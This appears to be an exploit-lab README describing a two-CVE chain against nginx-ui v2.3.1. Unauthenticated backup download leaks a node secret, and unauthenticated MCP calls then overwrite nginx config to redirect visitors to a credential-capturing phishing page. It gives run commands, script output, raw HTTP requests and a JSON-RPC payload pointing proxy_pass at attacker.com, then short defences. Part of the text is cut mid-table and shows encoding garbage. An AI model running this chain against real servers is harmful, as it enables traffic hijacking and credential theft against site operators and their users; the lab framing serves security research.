Share
## https://sploitus.com/exploit?id=B098EB78-C7D7-5BEA-86E2-ABC4FE65CA5D
# CVE-2026-27944 + CVE-2026-33032 โ€” nginx-ui Zero-Credential RCE Lab

> **Disclaimer:** This repository is intended for educational and authorised security research purposes only. All techniques demonstrated here should only be used against systems you own or have explicit written permission to test. The authors accept no responsibility for misuse. Do not run this against any system without authorisation.

A self-contained Docker Compose lab demonstrating a **two-CVE chain** against nginx-ui v2.3.1 that achieves full nginx takeover with **zero prior knowledge** โ€” no usernames, no passwords, no tokens.

---

## Vulnerability Chain

### CVE-2026-27944 โ€” Unauthenticated Backup Endpoint + Key Disclosure

`GET /api/backup` requires no authentication. The endpoint returns a full encrypted backup of the nginx-ui installation โ€” including `app.ini` โ€” and sends the AES-256-CBC decryption key and IV **in plaintext** in the response header:

```
X-Backup-Security: :
```

From the source (`api/backup/router.go`):
```go
r.GET("/backup", CreateBackup)   // โŒ no middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
```

Decrypting the backup yields `app.ini`, which contains the `[node] Secret` needed for Step 2.

| | |
|---|---|
| **CVE** | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| **CVSS** | 9.8 Critical |
| **Affected** | nginx-ui 
cd nginx-ui-vuln-lab
docker compose up -d
```

| URL | |
|-----|---|
| `http://localhost:8080` | Victim site โ€” green (legitimate) |
| `http://localhost:9000` | nginx-ui admin panel |

---

## Running the Exploit

```bash
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000
```

The script chains both CVEs with no prior credentials:

```
==============================================================
  CVE-2026-27944 + CVE-2026-33032  โ€”  nginx-ui Zero-Cred RCE
  Target : http://localhost:9000
==============================================================

[*] CVE-2026-27944 โ€” downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 โ€” opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Recon โ€” reading current config
[+] Current: proxy_pass http://webapp:80;

[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New:     proxy_pass http://malicious_site:80;

[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded โ€” config is live

[!] Attack complete.
    Victims at http://localhost:8080/ are now served the phishing page.
    View captured credentials: http://localhost:8080/?debug=1
```

After the exploit, `http://localhost:8080` switches from the **green** legitimate page to the **red** phishing clone โ€” at the same URL, with no indication to the victim.

Open `http://localhost:8080/?debug=1` to reveal the attacker panel and see credentials captured in real time.

### Reset

```bash
python3 exploit/exploit.py --url http://localhost:9000 --reset
```

Uses the same CVE chain to restore the original config and reload nginx.

---

## How It Works

### Stage 1 โ€” Extract node secret (CVE-2026-27944)

```
GET /api/backup HTTP/1.1
Host: target:9000
```

Response:
```
HTTP/1.1 200 OK
X-Backup-Security: :
Content-Type: application/zip
```

Decrypt the zip with the provided key/IV โ†’ extract `app.ini` โ†’ read `[node] Secret`.

### Stage 2 โ€” Hijack nginx (CVE-2026-33032)

**Request 1 โ€” Open SSE session (node secret, no user auth):**
```
GET /mcp?node_secret=
```
SSE stream responds with a `sessionId`.

**Request 2+ โ€” Invoke tools (no auth at all):**
```
POST /mcp_message?sessionId=
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}
```

No `Authorization` header. No cookie. `AuthRequired()` is simply absent from the `/mcp_message` route.

---

## Available MCP Tools (all accessible unauthenticated)

| Tool | Impact |
|------|--------|
| `nginx_config_modify` | Overwrite any config file |
| `nginx_config_add` | Create new config files |
| `nginx_config_get` | Read any config file |
| `nginx_config_list` | List all configs |
| `nginx_config_enable/disable` | Toggle site configs |
| `nginx_config_rename` | Move/rename config files |
| `nginx_config_mkdir` | Create directories |
| `nginx_config_history` | View change history |
| `nginx_config_base_path` | Reveal config root path |
| `nginx_status` | Check nginx status |
| `reload_nginx` | Apply config changes live |
| `restart_nginx` | Full nginx restart |

---

## Defences

- **Patch** โ€” upgrade to nginx-ui โ‰ฅ 2.3.4
- **Network isolation** โ€” never expose nginx-ui to untrusted networks; place it behind a VPN or firewall
- **IP allowlist** โ€” set a non-empty `[node] IPWhiteList` in `app.ini` to restrict MCP access to specific IPs
- **MFA** โ€” enable multi-factor auth on the admin account
- **FIM** โ€” monitor `/etc/nginx/conf.d/` with file integrity monitoring (auditd, Wazuh, etc.)